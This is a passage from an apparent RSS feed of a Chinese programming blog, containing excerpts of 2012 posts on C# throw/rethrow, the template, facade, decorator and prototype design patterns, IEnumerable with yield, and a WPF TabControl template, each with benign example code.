我看到过有人说上面的都不可信。可以使用GetNativeSystemInfo代替，代码和上面一样，只是把GetSystemInfo换成GetNativeSystemInfo就好。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的throw</title>
      <link>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</link>
      <pubDate>Sun, 18 Nov 2012 12:33:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</guid>
      <description>&lt;p&gt;Throw会抛出/传递异常,通过在catch块里使用throw语句.可以改变产生的异常,比如我们可以抛出一个新的异常,throw语句有各种各样的,并且很有必要.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例子&lt;/strong&gt;
我们首先看一下三个方法,分别叫做A,B,C，他们使用不同的throw语句。方法A使用了无参的throw语句。这可以被看作是rethrow(继续抛出)—他会抛出已经出现的同样的异常&lt;/p&gt;
&lt;p&gt;继续，方法B throw一个命名的异常变量。这就不是一个完全的rethrow了—因为他虽然抛出了同样的异常。但是改变了StackTrace（堆栈轨迹），如果有必要的话，我们可以收集一些异常信息，而方法C则创建了一个新的异常。
提示:你可以通过这种方法实现自定义的的错误处理
使用throw语句的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
class Program
{
    static void Main()
    {
	try
	{
	    A();
	    B();
	    C(null);
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex);
	}
    }

    static void A()
    {
	// Rethrow 语法.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch
	{
	    throw;
	}
    }

    static void B()
    {
	// 过滤异常类型.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch (DivideByZeroException ex)
	{
	    throw ex;
	}
    }

    static void C(string value)
    {
	// 创建新的异常.
	if (value == null)
	{
	    throw new ArgumentNullException(&#34;value&#34;);
	}
    }
}&lt;/pre&gt;
&lt;p&gt;程序可能的输出结果&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.DivideByZeroException: Attempted to divide by zero.
System.DivideByZeroException: Attempted to divide by zero.
System.ArgumentNullException: Value cannot be null.
Parameter name: value&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Rethrow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着我们看更多的关于rethrows的细节。Rethrow必须是一个无参的throw语句。如果使用throw ex，那么TargetSie(TargetSite 从堆栈跟踪中获取抛出该异常的方法。如果堆栈跟踪为空引用，TargetSite 也返回空引用。-译者注)和StackTrace都被改变了。&lt;/p&gt;
&lt;p&gt;在下面的程序里，X()方法使用了rethrow语句。Y()使用了throw ex语句。我们可以看看当rethrow语句使用的使用，引发异常的方法，也就是异常的TargetSite是在StringToNumber&amp;mdash;一个int.Parse内部的方法。&lt;/p&gt;
&lt;p&gt;但是：当throw ex用的时候。就像在Y()里面，这个异常的TargetSite被修改到了当前的Y()方法里。
测试rethrow的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;

class Program
{
    static void Main()
    {
	try
	{
	    X();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}

	try
	{
	    Y();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}
    }

    static void X()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception)
	{
	    throw; // [Rethrow 构造]
	}
    }

    static void Y()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception ex)
	{
	    throw ex; // [Throw 捕获的ex变量]
	}
    }
}&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现模板模式</title>
      <link>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Thu, 25 Oct 2012 22:04:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文实现模板模式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
有时候我们需要做很多任务，而做这些任务的算法可能不同，这样可以设计成策略模式，这样。执行该任务的基本的一些代码就是一样的。但程序可可以动态的切换来执行任务的不同部分了。&lt;/p&gt;
&lt;p&gt;现在，真实的情况是有些算法，从实现层面山看，有可能有一些步骤是不一样的，这种情况下。我们可以使用继承来完成。&lt;/p&gt;
&lt;p&gt;当有个算法，而这个算法的一部分却多样的时候。使用模板模式就很好。GoF定义模板模式为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm&amp;rsquo;s structure.&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28596_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/013b89f26820a073c2044e0aa42a4d54a089e0b8.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在上面的类图中：
AbstractClass：包含两种方法。第一种就是算法的每一步。另一种就是模板方法。模板方法就是那些可以被用在所有独立方法中。并且提供了算法执行的一个骨架
ConcreteClass：这个类重写了抽象类中每一步的方法，包含对这些步骤的个性化实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
看一个简单的例子。假想我们有一个类用来读取数据。并且能够为信息管理系统到处数据。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;abstract class DataExporter
{
    // 这个方法都是一致的
    public void ReadData()
    {
        Console.WriteLine(&#34;Reading the data from SqlServer&#34;);
    }

    // 当报表格式顶的时候这个也是定的。
    public void FormatData()
    {
        Console.WriteLine(&#34;Formating the data as per requriements.&#34;);
    }

    // 目标文件类型的不同导致该方法不同
    public abstract void ExportData();        

    // 这是客户端可能使用的模板方法
    public void ExportFormatedData()
    {
        this.ReadData();
        this.FormatData();
        this.ExportData();
    }
}&lt;/pre&gt; 
&lt;p&gt;ReadData和FormatData 的实现不会变。唯一可变的部分就是ExportData方法。该方法对于不同的导出类型不同。如果我们要导出excel文件。我们要实现一个ConcreteClass的实现。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class ExcelExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to an Excel file.&#34;);
    }
}&lt;/pre&gt; 
&lt;p&gt;同样如果要导出PDF文件。重写这部分即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class PDFExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to a PDF file.&#34;);
    }
}
&lt;/pre&gt; 
&lt;p&gt;好处就是客户端可以使用DataExporter类，而具体的实现是在派生类中的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;static void Main(string[] args)
{
    DataExporter exporter = null;

    //导出 Excel文件
    exporter = new ExcelExporter();
    exporter.ExportFormatedData();

    Console.WriteLine();

    // 导出 PDF 文件
    exporter = new PDFExporter();
    exporter.ExportFormatedData();
}
&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28597_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1bf614457e0728646a9997af084aa990ef0ea3cb.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
运行时。对算法的调用将会执行真正请求的派生类的方法。
看一下我们的类图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28598_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1653c7412c7218518495704e23ebaf2ccdd66712.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现外观设计模式</title>
      <link>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Tue, 23 Oct 2012 18:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文介绍外观模式,并给出简单的实现示例&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;写软件的时候,有时候需要处理一系列的对象来完成一个确定的任务.比如,我们给一个万能遥控器写代码,我们需要关掉所有的设备,那么,我们有这样几种选择.第一个就是手动选择每一个设备,然后一个接一个的关闭,这好傻.那我们为什么不再遥控器上放一个按钮,我们按一下就关掉了.按钮的命令会与设备控制器通信然后关掉他们.&lt;/p&gt;
&lt;p&gt;如果我们又想在晚上12的时候自动关闭设备,那么我们就会有一个基于事件的计时器,与设备通信,然后关闭设备,问题是在两种情况下我们都需要与这些对象通信的函数.&lt;/p&gt;
&lt;p&gt;有很多方法解决这个问题,为什么不能有一个对象,该对象的责任就是关闭设备,当我要关闭设备的时候,我调用该对象就行了.这也是外观模式的理念Gof大神定义外观模式
&amp;ldquo;Provide a unified interface to a set of interfaces in a subsystem. Façade defines a higher-level interface that makes the subsystem easier to use.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;为子系统中的一组接口提供一个一致的界面，外观模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。&lt;/p&gt;
&lt;p&gt;看看模式图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28434_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4699477e818474c6be3dfc63a211c68e6a64c67c.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意外观对象仅仅是提供了对函数一起操作,.不能替换子系统的接口.子系统的类仍然可以被系统的其他部分访问.外观为子系统提供了一致的界面.&lt;/p&gt;
&lt;p&gt;使用代码
为了模拟外观模式,我们模拟一个小例子.试着实现一个简单的外观对象,该外观对象操作一些WP手机的控制器对象,我们先定义问题&lt;/p&gt;
&lt;p&gt;每天早上我跑步的时候,我都得对我的手机做出以下的事情..
1. 关闭wifi
2. 切换到移动网络
3. 打开GPS
4. 打开音乐
5. 开始跑步追踪器&lt;/p&gt;
&lt;p&gt;跑完以后.,我又蛋疼的做出以下几件事
1. 在twitter和facebook上分享我的跑步数据
2. 关闭跑步追踪器
3. 关闭音乐
4. 关闭GPS
5. 关闭移动数据
6. 打开wifi&lt;/p&gt;
&lt;p&gt;目前我都是手工做的.,我们来实现这些假想的控制器类吧.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class GPSController
{
    bool isSwitchedOn = false;

    public bool IsSwitchedOn
    {
        get
        {
            return isSwitchedOn;
        }
        set
        {
            isSwitchedOn = value;
            DisplayStatus();
        }
    }

    private void DisplayStatus()
    {
        string status = (isSwitchedOn == true) ? &#34;ON&#34; : &#34;OFF&#34;;
        Console.WriteLine(&#34;GPS Switched {0}&#34;, status);
    }
}&lt;/pre&gt;
&lt;p&gt;其他的像MobileDataController, MusicController, WifiController 代码都是基本的一样的.&lt;/p&gt;
&lt;p&gt;然后模拟一下跑步追踪器这个app&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class SportsTrackerApp
{
    public void Start()
    {
        Console.WriteLine(&#34;Sports Tracker App STARTED&#34;);
    }

    public void Stop()
    {
        Console.WriteLine(&#34;Sports Tracker App STOPPED&#34;);
    }

    public void Share()
    {
        Console.WriteLine(&#34;Sports Tracker: Stats shared on twitter and facebook.&#34;);
    }
}&lt;/pre&gt;
&lt;p&gt;下面模拟一下我的手工过程&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现装饰器模式</title>
      <link>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 22 Oct 2012 11:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
本文讨论装饰器模式,这个模式是因为很多情况下需要动态的给对象添加功能.比如我们创建了一个Stream类.后来需要对这个数据流类动态的添加一个加密功能.有人可能说把加密方法写到流类里面啊.然后使用一个bool变量来控制开关就行了.但是这样.这个加密方法只能写一种..如果用派生类来实现.那么..对于不同的加密方法.,都要创建一个子类,举个例子.比如有时候是一些函数的组合.我们最终的派生类的数目基本上就和排列组合的数目一样了.&lt;/p&gt;
&lt;p&gt;我们使用装饰器模式来解决这个问题.GoF描述为
&amp;ldquo;Attach additional responsibilities to an object dynamically. Decorators provide a flexible alternative to subclassing for extending functionality.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;首先看一下图.理解一下这个模式中每一个类的作用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28377_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7858234df16590f30fcdf85a0a8791d33d076e2d.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
•	Component:定义了可以动态添加功能的具体类ConcreteComponents的接口.
•	ConcreteComponent: 可以动态添加功能的具体类
•	Decorator: 定义了动态添加到ConcreteComponent类中的功能的接口
•	ConcreteDecorator: 可以添加到 ConcreteComponent.中的具体功能类.&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;我们开一个面包店的例子.面包店卖蛋糕和甜点.客户可以买蛋糕和甜点,同时添加一些额外的东西.额外的东西包括奶油(Cream),樱桃(Cherry),香料(Scent)和会员(Name Card)&lt;/p&gt;
&lt;p&gt;如果我们用派生类来实现..那么我们会有如下的类
•	CakeOnly
•	CakeWithCreamAndCherry
•	CakeWithCreamAndCherryAndScent
•	CakeWithCreamAndCherryAndScentAndNameCard
•	CakeWithCherryOnly
•	PastryOnly
•	PastryWithCreamAndCherry
•	PastryWithCreamAndCherryAndScent
•	PastryWithCreamAndCherryAndScentAndNameCard
•	PastryWithCherryOnly
•	等等等等&lt;/p&gt;
&lt;p&gt;这简直就是噩梦..我们用装饰器模式来实现把.
首先定义Component 接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public abstract class BakeryComponent
{
    public abstract string GetName();
    public abstract double GetPrice();
}
&lt;/pre&gt; 
&lt;p&gt;前面说过了.这个类定义了能够动态添加功能的具体类(ConcreteComponents)的接口,好吧.然后来创建具体类ConcreteComponents&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class CakeBase : BakeryComponent
{
    // 真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Cake Base&#34;;
    private double m_Price = 200.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}

class PastryBase : BakeryComponent
{
    //真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Pastry Base&#34;;
    private double m_Price = 20.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}&lt;/pre&gt; 
&lt;p&gt;现在基对象准备好了.看看那些可以被动态添加的功能.我们看看Decorator  类&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现原型模式-实现ICloneable接口.理解深浅拷贝</title>
      <link>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</link>
      <pubDate>Fri, 19 Oct 2012 09:27:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</guid>
      <description>&lt;p&gt;本文用C#实现原型模式,也会讨论深浅拷贝,已经如何在.net中高效实现ICloneable 接口
&lt;strong&gt;介绍&lt;/strong&gt;
有时候我们需要从上下文得到一个对象的拷贝，然后通过一些独立的操作来处理他。原型模式在这种情况下很适用&lt;/p&gt;
&lt;p&gt;GoF 定义原型模式为用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。
Specify the kind of objects to create using a prototypical instance, and create new objects by copying this prototype.&amp;quot;&lt;/p&gt;
&lt;p&gt;看一下类图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28239_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e7e0d35a2192ac4360d169e4e1cb8fdb6a1113da.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;主要的参与者有
• Prototype: 抽象类或接口，定义了方法来拷贝自己
• ConcretePrototype: 克隆的具体类.
• Client: 需要执行拷贝对象的软件对象
然后实现吧&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;为了简化。我以一个著名的偷车游戏作为例子
我们说游戏里有一个注脚。这个主要有着一些定义游戏数据的统计量。保存游戏的时候我们就需要拷贝这个对象，然后序列化到文件中。（仅仅是举个例子，真实的游戏里很少这样做）&lt;/p&gt;
&lt;p&gt;下面这个类抽象类就是概念中的Prototype&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public abstract class AProtagonist
{
    int m_health;
    int m_felony;
    double m_money;

    public int Health
    {
        get { return m_health; }
        set { m_health = value; }
    }

    public int Felony
    {
        get { return m_felony; }
        set { m_felony = value; }
    }

    public double Money
    {
        get { return m_money; }
        set { m_money = value; }
    }

    public abstract AProtagonist Clone();
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;接口定义了玩家重要的信息，然后定义了一个Clone方法。然后我们定义一个具体的玩家类CJ。这样我们可以克隆当前对象，然后异步的进行序列化&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class CJ : AProtagonist
{
    public override AProtagonist Clone()
    {
        return this.MemberwiseClone() as AProtagonist;
    }
}&lt;/pre&gt;
&lt;p&gt;这个类就是概念中的ConcretePrototype 。这里为了简化也没有其他一些方法了。&lt;/p&gt;
&lt;p&gt;现在看看客户端软件的写法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static void Main(string[] args)
{
    // 演示原型模式
    CJ player = new CJ();
    player.Health = 1;
    player.Felony = 10;
    player.Money = 2.0;

    Console.WriteLine(&#34;Original Player stats:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        player.Health.ToString(), 
        player.Felony.ToString(), 
        player.Money.ToString());

    // 这里是拷贝部分.
    CJ playerToSave = player.Clone() as CJ;            

    Console.WriteLine(&#34;\nCopy of player to save on disk:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        playerToSave.Health.ToString(), 
        playerToSave.Felony.ToString(), 
        playerToSave.Money.ToString());
}&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28245_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab28ca0c722912c55072bc471d50cb94d9ee8bb8.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>实现IEnumerable接口&amp;理解yield关键字</title>
      <link>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</link>
      <pubDate>Fri, 19 Oct 2012 07:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</guid>
      <description>&lt;p&gt;本文讨论题目的内容。然后讨论IEnumerable接口如何使得foreach语句可以使用。之后会展示如果实现自定义的集合类，该集合类实现了IEnumerable接口。Yield关键字和遍历集合后面也讨论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一使用集合。就发现遍历集合就跟着来了。遍历集合最好的方式是实现迭代器模式-&lt;a href=&#34;http://www.codeproject.com/Articles/362986/Understanding-and-Implementing-the-Iterator-Patter&#34;&gt;Understanding and Implementing the Iterator Pattern in C# and C++&lt;/a&gt;(这篇文章我过几天翻译一下) ，C#提供foreach来以一种优雅的方式遍历&lt;/p&gt;
&lt;p&gt;只要集合实现了IEnumerable 接口就可以用foreach来遍历。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先先看一下内置的集合类如何使用foreach来遍历的。ArrayList实现了IEnumerable 接口。我们看一下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 看一下实现了IEnumerable 接口的集合如何遍历
ArrayList list = new ArrayList();

list.Add(&#34;1&#34;);
list.Add(2);
list.Add(&#34;3&#34;);
list.Add(&#39;4&#39;);

foreach (object s in list)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遍历泛型集合类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arraylist 是一个通用集合类，遍历泛型集合类也可以。因为这些泛型集合类实现了IEnumerable&amp;lt;T&amp;gt;接口，看一下吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 遍历实现了IEnumerable&amp;lt;T&amp;gt;接口的泛型类
List&amp;lt;string&amp;gt; listOfStrings = new List&amp;lt;string&amp;gt;();

listOfStrings.Add(&#34;one&#34;);
listOfStrings.Add(&#34;two&#34;);
listOfStrings.Add(&#34;three&#34;);
listOfStrings.Add(&#34;four&#34;);

foreach (string s in listOfStrings)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;发现了吧。我们自定义的集合类或是泛型集合类应该实现IEnumerable和IEnumerable&amp;lt;T&amp;gt;接口。这样就可以遍历了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理解yield关键字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在写个实现接口的例子之前，先理解一下yield关键字，yield会记录集合位置。当从一个函数返回一个值的时候，yield可以用。&lt;/p&gt;
&lt;p&gt;如下的普通的方法。不论调用多少次，都只会返回一个return&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static int SimpleReturn()
{
    return 1;
    return 2;
    return 3;
}

static void Main(string[] args)
{
    // 看看
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原因就是普通的return语句不保留函数的返回状态。每一次都是新的调用。然后返回第一个值。&lt;/p&gt;
&lt;p&gt;但是使用下面的语句替换后就不一样。当函数第二次调用的时候。会从上次返回的地方继续调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static IEnumerable&amp;lt;int&amp;gt; YieldReturn()
{
    yield return 1;
    yield return 2;
    yield return 3;
}
static void Main(string[] args)

{
    // 看看yield return的效果
    foreach (int i in YieldReturn())
    {
        Console.WriteLine(i);
    }
}&lt;/pre&gt;
&lt;p&gt;显然返回1，2，3，唯一要注意的就是函数需要返回IEnumerable。，然后通过foreach调用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在自定义的集合类里实现Ienumerable接口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在如果我们在我们的自定义集合里定义一个方法。来迭代所有元素。然后通过使用yield返回。我们就可以成功了。&lt;/p&gt;
&lt;p&gt;好。我们定义MyArrayList 类，实现IEnumerable 接口，该接口就会强制我们实现GetEnumerator 函数。这里我们就要使用yield了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class MyArrayList : IEnumerable
{
    object[] m_Items = null;
    int freeIndex = 0;

    public MyArrayList()
    {
        // 对了方便我直接用数组了，其实应该用链表
       m_Items = new object[100];
    }

    public void Add(object item)
    {
        // 考虑添加元素的时候
        m_Items[freeIndex] = item;
        freeIndex++;
    }

    // IEnumerable 函数
    public IEnumerator GetEnumerator()
   {
       foreach (object o in m_Items)
        {
           // 检查是否到了末尾。数组的话。。。没写好
            if(o == null)
            {
                break;
            }

            // 返回当前元素。然后前进一步
            yield return o;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>模拟Office2010文件菜单的TabControl模板</title>
      <link>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</link>
      <pubDate>Wed, 17 Oct 2012 10:00:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28185_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ad13c7f6efeae2f1463e231f11d164126743c47.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是Office2010中的文件菜单点开后的效果。本文我将以强大的WPF来实现类似的效果。希望你能有所收获。而不是只拷贝/粘贴代码而已。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;开始之前。先把TabControl找个地方放着。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;TestClient.MainWindow&#34;

        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;

        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;

        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34;&amp;gt;

        &amp;lt;TabItem Header=&#34;Info&#34; IsSelected=&#34;True&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Info content&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Recent&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Recent content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;New&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;New content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Print&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Print content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Save &amp;amp;amp; Send&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Save &amp;amp;amp; send content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Help&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Help tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

    &amp;lt;/TabControl&amp;gt;

&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后会大概是这个效果&lt;/p&gt;
